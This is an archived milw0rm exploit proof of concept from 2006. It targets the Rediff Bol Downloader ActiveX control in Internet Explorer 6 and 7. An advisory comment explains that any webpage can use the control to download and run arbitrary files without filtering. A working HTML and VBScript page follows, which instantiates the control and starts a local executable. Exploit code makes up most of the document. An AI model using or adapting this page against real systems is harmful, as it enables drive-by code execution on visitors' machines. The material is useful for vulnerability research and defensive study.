<!-- Rediff Bol Downloader ActiveX Allows Downloading and Spawning Arbitary Files ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Program : Rediff Bol Download ActiveX ActiveX (OCX) Control that downloads the Rediff Bol Messenger setup and spawns it. Related URL : http://messenger.rediff.com/newbol/ Discovered by : Gregory R. Panakkal Vulnerability Description : Rediff Bol Downloader ActiveX control allows any webpage to download and spawn file. These file can be of any type. No filtering is done. IE Displays an alert, if the code points to a executable file on the internet. But execution of local files displays no alert. Tested On : * IE 7.0.5730.11 (WinXP SP2) * IE 6.0.2900.2180 (WinXP SP2) --> <html> <body> <OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="http://imdownloads.rediff.com/newbol/Bol.CAB"> </OBJECT> <script language="vbscript"> rboldwn.url = "file://C:/WINNT/Notepad.exe" rboldwn.fontsize = 14 rboldwn.barcolor = EE4E00 rboldwn.start = "start" </script> </body> </html> # milw0rm.com [2006-12-31]